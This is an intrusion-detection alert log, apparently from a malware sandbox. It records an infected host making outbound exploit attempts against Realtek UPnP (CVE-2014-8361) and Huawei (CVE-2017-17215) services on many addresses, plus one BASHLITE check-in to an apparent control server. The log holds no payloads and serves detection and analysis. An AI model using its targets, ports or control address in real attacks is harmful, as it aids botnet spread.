2024-10-06T20:01:22.282247+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33164	156.176.109.241	52869	TCP
2024-10-06T20:01:22.283581+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38914	41.226.108.98	52869	TCP
2024-10-06T20:01:22.283781+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40958	156.24.232.63	52869	TCP
2024-10-06T20:01:22.283813+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49708	41.113.209.149	52869	TCP
2024-10-06T20:01:22.284218+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47710	156.185.197.139	52869	TCP
2024-10-06T20:01:22.284431+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40782	156.26.183.171	52869	TCP
2024-10-06T20:01:22.284597+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57888	156.153.187.128	52869	TCP
2024-10-06T20:01:22.284677+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55760	156.216.73.85	52869	TCP
2024-10-06T20:01:22.285282+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60028	156.190.229.165	52869	TCP
2024-10-06T20:01:22.285684+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59554	156.164.46.178	52869	TCP
2024-10-06T20:01:22.300973+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58600	156.193.228.206	52869	TCP
2024-10-06T20:01:22.301131+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34484	156.135.169.222	52869	TCP
2024-10-06T20:01:22.301225+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59268	41.249.250.199	52869	TCP
2024-10-06T20:01:22.301229+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40886	41.63.69.237	52869	TCP
2024-10-06T20:01:22.310856+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34074	41.158.164.235	52869	TCP
2024-10-06T20:01:22.315231+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38080	156.247.8.164	52869	TCP
2024-10-06T20:01:22.326865+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	35688	41.59.9.50	52869	TCP
2024-10-06T20:01:22.352447+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45460	197.234.189.26	37215	TCP
2024-10-06T20:01:22.375289+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52692	41.213.210.151	52869	TCP
2024-10-06T20:01:22.375634+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54170	197.180.31.248	52869	TCP
2024-10-06T20:01:23.347829+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39742	41.178.234.148	52869	TCP
2024-10-06T20:01:23.357483+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38236	197.91.36.209	52869	TCP
2024-10-06T20:01:23.357765+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52572	156.128.201.121	52869	TCP
2024-10-06T20:01:23.359444+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54180	156.14.166.148	52869	TCP
2024-10-06T20:01:23.391158+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	42264	197.71.16.225	52869	TCP
2024-10-06T20:01:23.426108+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33762	41.212.217.7	52869	TCP
2024-10-06T20:01:24.451291+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	32880	156.132.182.168	52869	TCP
2024-10-06T20:01:24.648272+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44306	156.228.87.137	37215	TCP
2024-10-06T20:01:25.331063+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34316	197.1.165.228	37215	TCP
2024-10-06T20:01:25.332639+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54288	197.15.237.129	37215	TCP
2024-10-06T20:01:25.343510+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38234	197.124.222.8	37215	TCP
2024-10-06T20:01:25.358109+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49862	197.190.67.104	37215	TCP
2024-10-06T20:01:25.358118+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37580	41.227.173.44	37215	TCP
2024-10-06T20:01:25.375350+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49440	156.174.157.85	37215	TCP
2024-10-06T20:01:25.377304+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42902	197.15.243.190	37215	TCP
2024-10-06T20:01:25.404271+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39680	41.5.250.21	37215	TCP
2024-10-06T20:01:25.404808+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	59606	41.145.187.204	37215	TCP
2024-10-06T20:01:25.422231+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52134	156.176.75.253	37215	TCP
2024-10-06T20:01:25.439858+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44026	156.90.14.178	37215	TCP
2024-10-06T20:01:26.327419+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34468	41.80.234.169	37215	TCP
2024-10-06T20:01:26.342464+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59984	197.50.27.9	52869	TCP
2024-10-06T20:01:26.342497+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47856	197.120.239.203	37215	TCP
2024-10-06T20:01:26.342804+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37914	41.193.137.127	52869	TCP
2024-10-06T20:01:26.343174+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45352	41.9.88.176	52869	TCP
2024-10-06T20:01:26.343331+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60016	156.35.83.107	52869	TCP
2024-10-06T20:01:26.343721+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	32866	197.2.151.238	37215	TCP
2024-10-06T20:01:26.343785+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53994	41.84.110.186	52869	TCP
2024-10-06T20:01:26.343913+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57296	197.111.171.224	37215	TCP
2024-10-06T20:01:26.343919+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38320	41.195.190.217	52869	TCP
2024-10-06T20:01:26.344150+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41944	197.26.248.151	52869	TCP
2024-10-06T20:01:26.344179+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56062	156.203.62.213	37215	TCP
2024-10-06T20:01:26.344405+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43838	41.138.117.0	52869	TCP
2024-10-06T20:01:26.344508+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43760	197.70.28.251	37215	TCP
2024-10-06T20:01:26.345323+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59224	156.164.243.201	52869	TCP
2024-10-06T20:01:26.345404+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40204	197.74.206.218	37215	TCP
2024-10-06T20:01:26.346407+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47826	41.196.83.209	37215	TCP
2024-10-06T20:01:26.346814+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48780	156.68.255.15	52869	TCP
2024-10-06T20:01:26.358001+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54864	41.216.72.26	52869	TCP
2024-10-06T20:01:26.358937+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52242	156.211.214.149	37215	TCP
2024-10-06T20:01:26.359671+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55950	197.14.235.192	52869	TCP
2024-10-06T20:01:26.362116+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52118	156.224.140.127	52869	TCP
2024-10-06T20:01:26.362131+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40494	197.218.212.186	52869	TCP
2024-10-06T20:01:26.362134+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47380	41.161.123.139	52869	TCP
2024-10-06T20:01:26.362147+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33150	197.200.95.32	52869	TCP
2024-10-06T20:01:26.363566+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53130	41.182.18.126	37215	TCP
2024-10-06T20:01:26.428441+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60116	156.201.174.201	52869	TCP
2024-10-06T20:01:26.435584+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56796	41.118.134.52	37215	TCP
2024-10-06T20:01:26.453494+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57624	156.103.77.149	37215	TCP
2024-10-06T20:01:26.455512+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53024	41.220.27.180	37215	TCP
2024-10-06T20:01:27.359498+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45410	197.73.140.11	52869	TCP
2024-10-06T20:01:27.361119+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58390	156.171.14.182	52869	TCP
2024-10-06T20:01:27.363095+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	51362	41.152.16.212	52869	TCP
2024-10-06T20:01:27.373663+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41254	197.142.242.51	52869	TCP
2024-10-06T20:01:27.373690+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39630	41.212.69.174	52869	TCP
2024-10-06T20:01:27.377422+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48508	197.135.22.7	52869	TCP
2024-10-06T20:01:27.377560+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40970	197.186.199.150	52869	TCP
2024-10-06T20:01:27.379380+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58250	197.47.171.53	52869	TCP
2024-10-06T20:01:27.391131+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50984	41.243.68.91	52869	TCP
2024-10-06T20:01:27.405147+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48442	41.120.201.218	52869	TCP
2024-10-06T20:01:27.410471+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57986	156.224.51.251	52869	TCP
2024-10-06T20:01:27.453690+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57232	197.84.193.24	52869	TCP
2024-10-06T20:01:28.370017+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45770	197.237.49.7	52869	TCP
2024-10-06T20:01:28.388923+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34092	197.110.213.23	37215	TCP
2024-10-06T20:01:28.389055+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58466	41.122.19.248	37215	TCP
2024-10-06T20:01:28.389194+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46152	41.155.190.185	37215	TCP
2024-10-06T20:01:28.389312+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33124	197.113.150.95	37215	TCP
2024-10-06T20:01:28.389352+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55670	156.70.20.40	37215	TCP
2024-10-06T20:01:28.389443+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43036	197.180.90.10	37215	TCP
2024-10-06T20:01:28.389796+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50886	41.93.218.3	37215	TCP
2024-10-06T20:01:28.389872+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45484	156.154.47.155	37215	TCP
2024-10-06T20:01:28.391330+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57030	197.105.21.207	37215	TCP
2024-10-06T20:01:28.391807+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46232	197.137.0.180	37215	TCP
2024-10-06T20:01:28.393933+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50956	197.45.76.192	37215	TCP
2024-10-06T20:01:28.405063+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43006	197.191.121.239	37215	TCP
2024-10-06T20:01:28.405218+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43916	41.154.0.40	37215	TCP
2024-10-06T20:01:28.405493+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36240	156.27.48.148	37215	TCP
2024-10-06T20:01:28.409813+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36174	41.83.186.68	37215	TCP
2024-10-06T20:01:28.409839+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57128	197.220.32.227	37215	TCP
2024-10-06T20:01:28.409874+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38226	156.213.13.48	37215	TCP
2024-10-06T20:01:28.409891+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55864	197.250.32.63	37215	TCP
2024-10-06T20:01:28.412682+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38396	41.19.171.117	37215	TCP
2024-10-06T20:01:29.405008+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	51422	197.14.142.122	52869	TCP
2024-10-06T20:01:29.405295+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44148	156.104.77.191	52869	TCP
2024-10-06T20:01:29.405400+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40046	41.223.32.33	52869	TCP
2024-10-06T20:01:29.405437+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47060	156.166.58.209	52869	TCP
2024-10-06T20:01:29.405528+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52046	156.139.93.141	52869	TCP
2024-10-06T20:01:29.406541+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52878	156.148.168.62	52869	TCP
2024-10-06T20:01:29.406613+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57736	41.247.220.209	52869	TCP
2024-10-06T20:01:29.420519+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41986	197.185.81.12	52869	TCP
2024-10-06T20:01:29.426092+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47232	41.81.247.199	52869	TCP
2024-10-06T20:01:29.437966+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45638	156.80.178.162	52869	TCP
2024-10-06T20:01:29.439978+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	35982	197.253.153.218	52869	TCP
2024-10-06T20:01:29.453532+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47038	197.196.167.169	52869	TCP
2024-10-06T20:01:29.457429+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48388	197.206.5.228	52869	TCP
2024-10-06T20:01:30.562821+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37422	41.223.80.155	37215	TCP
2024-10-06T20:01:30.594641+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	42344	41.217.45.131	52869	TCP
2024-10-06T20:01:30.594660+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33992	197.254.64.164	52869	TCP
2024-10-06T20:01:30.612066+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55414	41.199.212.250	52869	TCP
2024-10-06T20:01:30.613557+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58514	156.14.176.3	52869	TCP
2024-10-06T20:01:30.627536+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48380	156.106.246.75	52869	TCP
2024-10-06T20:01:31.437160+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60966	41.89.215.85	37215	TCP
2024-10-06T20:01:32.453765+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50314	197.172.209.123	52869	TCP
2024-10-06T20:01:32.467116+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59978	197.98.103.117	52869	TCP
2024-10-06T20:01:32.467519+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46272	156.111.17.112	37215	TCP
2024-10-06T20:01:32.467583+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39806	41.249.187.113	37215	TCP
2024-10-06T20:01:32.471559+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60256	197.207.23.5	52869	TCP
2024-10-06T20:01:32.473351+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33844	41.73.89.117	37215	TCP
2024-10-06T20:01:32.487035+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58376	156.24.28.119	52869	TCP
2024-10-06T20:01:32.619115+0200	2839490	ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)	1	192.168.2.15	50160	104.248.167.251	89	TCP
2024-10-06T20:01:33.498957+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43214	41.29.4.198	52869	TCP
2024-10-06T20:01:34.482673+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40140	197.186.50.161	37215	TCP
2024-10-06T20:01:34.482674+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60668	156.31.100.79	37215	TCP
2024-10-06T20:01:34.483012+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39660	41.117.41.209	37215	TCP
2024-10-06T20:01:34.484899+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57474	197.3.178.117	37215	TCP
2024-10-06T20:01:34.502570+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39274	197.48.116.28	37215	TCP
2024-10-06T20:01:34.516396+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38278	197.50.231.212	37215	TCP
2024-10-06T20:01:34.549582+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43092	156.53.11.190	37215	TCP
2024-10-06T20:01:35.482719+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36576	41.27.85.83	37215	TCP
2024-10-06T20:01:35.483040+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39226	156.213.57.39	37215	TCP
2024-10-06T20:01:35.483157+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	36600	156.33.93.232	52869	TCP
2024-10-06T20:01:35.483239+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58364	41.28.138.153	52869	TCP
2024-10-06T20:01:35.498787+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37504	156.171.168.41	52869	TCP
2024-10-06T20:01:35.498847+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58500	156.49.214.88	52869	TCP
2024-10-06T20:01:35.498869+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53154	41.69.246.200	52869	TCP
2024-10-06T20:01:35.499306+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45448	197.187.135.72	52869	TCP
2024-10-06T20:01:35.499576+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33424	41.74.66.224	37215	TCP
2024-10-06T20:01:35.499682+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	59364	41.239.219.138	37215	TCP
2024-10-06T20:01:35.500448+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53032	41.237.82.20	37215	TCP
2024-10-06T20:01:35.500497+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58040	41.19.30.235	52869	TCP
2024-10-06T20:01:35.502547+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57274	197.154.193.46	52869	TCP
2024-10-06T20:01:35.502858+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58134	197.57.164.58	52869	TCP
2024-10-06T20:01:35.504324+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47376	41.111.212.181	52869	TCP
2024-10-06T20:01:35.518664+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49616	197.46.90.65	37215	TCP
2024-10-06T20:01:35.530836+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48816	197.78.51.74	37215	TCP
